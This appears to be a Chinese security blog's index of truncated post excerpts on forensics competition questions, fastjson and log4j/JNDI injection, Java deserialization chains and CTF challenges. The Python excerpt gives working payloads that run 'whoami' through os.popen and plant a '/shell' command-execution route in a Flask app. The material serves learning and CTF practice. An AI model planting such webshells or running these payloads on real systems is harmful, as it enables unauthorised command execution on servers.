龙信2023
手机取证1.请分析涉案手机的设备标识是_。(标准格式:12345678)
2.请确认嫌疑人首次安装目标APP的安装时间是__。(标准格式:2023-09-13.11:32:23)
3.此检材共连接过__个WiFi。(标准格式:1)
4.嫌疑人手机短信记录中未读的短信共有__条。(标准格式:12)查看手机短信数据库mmssms.db 是 Android 系统中用于存储短信和多媒体信息的数据库文件,主要用于管理和存储短信(SMS)和多媒体消息(MMS)。该文件通常位于 Android 系统的内部存储中,并通过系统自带的短信应用或其他第三方应用进行访问和管理。其read列应该为是否读取数一下有17个
5.嫌疑人检材手机在浏览器中下载海报背景图的网址是_。(标准格式:http://www.baidu.com/admin/index.html)
搜索海报可以得到背景网址
6.请分析涉案海报的推广ID是__。(标准格式:123456)打开文件分类中的图片,可以找到背景与下载海报相同的
7.嫌疑人通过短信群发去推广APP,请问收件人中有__个号码是无效的。(标准格式:12)
只收到了一条运营商的信息 ...
fastJson反序列化
本人最近这段时间才开始学java,如有出错请各位大佬指正fastJson反序列化其实应该分为两种,一种是通过JSON.parse(payload);时调用了本地类中的setter法从而导致的命令指向。第二种就是fastJson的原生反序列化了,即readObject触发的反序列化,这篇文章我先写一下第一种的fastJson的基础使用方法与一些特性的介绍1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859//User.javapackage fastjson;import java.io.IOException;import java.util.function.Function;public class User { public String name; public int age; public User(String name, int age){ System. ...
美亚21
既然报名了美亚当然得学一下取证了,先写一下21年的美亚吧检材处理
首先下载的检材有一个电脑的镜像文件,和压缩包解压这个压缩包。里面是一个加密容器,将加密容器用VeraCrypt打开,进入容器文件,可以发现一个检材列表根据列表一个个整理检材
1.工地主管电话的微信账号是什么?
主办方在手机附件内,带了一个取证软件,我们直接打开这个软件。
在聊天报告里可以发现,其使用的聊天软件是whatapp,没有微信,所以这题选d,工地主管没有微信
2.工地主管的隔空投送装置置编号是什么?首先了解一下什么是隔空投送我们搜索AirDrop
3.工地主管电话的哪一个应用程序有关于经纬度24.490474, 118.110220的纪录?同样搜索
4.工地主管的手提电话中下列哪些数据正确?
选A,C
5.工地主管的电话最常使用的浏览器是什么? (请以英文全大写回答)
SAFARI网页浏览记录里有浏览器名称
6.工地主管的电话连接过哪一个WiFi?
再无线网络了可以找到之前连接的WiFi名
7.工地主管与Alex Chan的Whatsapp 对话中,曾提及以下哪个TeamViewer的用户号码?
聊天记录的这三 ...
从JNDI注入到log4j注入
本文章首发于先知社区从JNDI注入到log4j漏洞今天闲的慌,不知道学些什么,于是去NSS上找一下java的题目想着刷点题,于是刷到了一题log4j的题目,一直都能听说这个log4j的核弹级漏洞的威名想着学一下,于是就有了这篇文章
JNDI首先我们要先了解一下什么是JNDIJNDI全名(Java Naming and Directory Interface即Java命名和目录接口)
命名服务命名服务的主要功能是将人们的友好名称映射到对象,例如地址、标识符或计算机程序通常使用的对象。
例如,Internet 域名系统 (DNS) 将计算机名称映射到 IP 地址:
www.example.com ==> 192.0.2.5文件系统将文件名映射到程序可用于访问文件内容的文件引用。
c:\bin\autoexec.bat ==> File Reference
目录服务许多命名服务都使用目录服务进行扩展。目录服务将名称与对象相关联,并将此类对象与属性相关联。
目录服务 = 命名服务 + 包含属性的对象
您不仅可以按对象名称查找对象,还可以获取对象的属性或根据对象的属性搜索对象。例如, ...
python无回显下的命令执行
关于python命令执行不出网无回显的情况下主要分为两种情况,开启debug未开启debug开启debug使用exec("raise%20Exception(__import__(%27os%27).popen(%27whoami%27).read())")来进行报错输出命令执行结果
未开启debugadd_url_route在老版本的flask在进行请求后仍然是可以通过addurlroute来添加路由的,但是新版本对其进行了修改导致其无法注入内存马,但是老版本还是可以使用的1sys.modules['__main__'].__dict__['app'].add_url_rule('/shell','shell',lambda :__import__('os').popen(request.args.get('shell')).read())通过`sys.modules[‘main‘].__dict[‘app’]获取该flask下的app。而后调用 ...
CTFSHOW
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293include 'init.php';function addUser($data,$username,$password){ $ret = array( 'code'=>0, 'message'=>'娣诲姞鎴愬姛' ); if(existsUser($data,$username)==0){ $s = $data.$username.'@'.$password.'|'; file_put_contents(DB_PATH, $s); }else{ $ret[ ...
JDK动态代理
为什么要动态代理想要知道为什么需要动态代理我们需要先知道什么是静态代理,有了静态代理为什么又需要动态代理
首先其实代理就是将一个实现接口的类,进行调用的类,其可以在调用的继承上增加一些自己的功能一个简单的DEMO代码如下123456789101112131415161718192021222324252627282930313233//IUser.javapublic interface IUser { public void getName();}//User.javapublic class User implements IUser{ @Override public void getName() { System.out.println("User"); } }//UserProxy.javapublic class UserProxy implements IUser { private IUser user; public ...
CC链
文章首发于freebufjava反序列化CC1-CC7的调试解析这篇文章用于记录我学习cc链的过程,这几天打了一下校赛,说实话打的不咋地,我和队友发挥都不大行,有种白学这么久的美,KP杯里有道CC2的题,说实话打比赛的时候我只是刚开始学cc1,也没完全理解,现在OK了。CC1先来聊一下CC1吧。首先我们想要命令执行就需要找到一个恶意方法。也就是如下的类方法
我们可以看到InvokerTransformer中的transformer方法进行了一个反射调用123456789public O transform(Object input) { if (input == null) { return null; } else { try { Class<?> cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, ...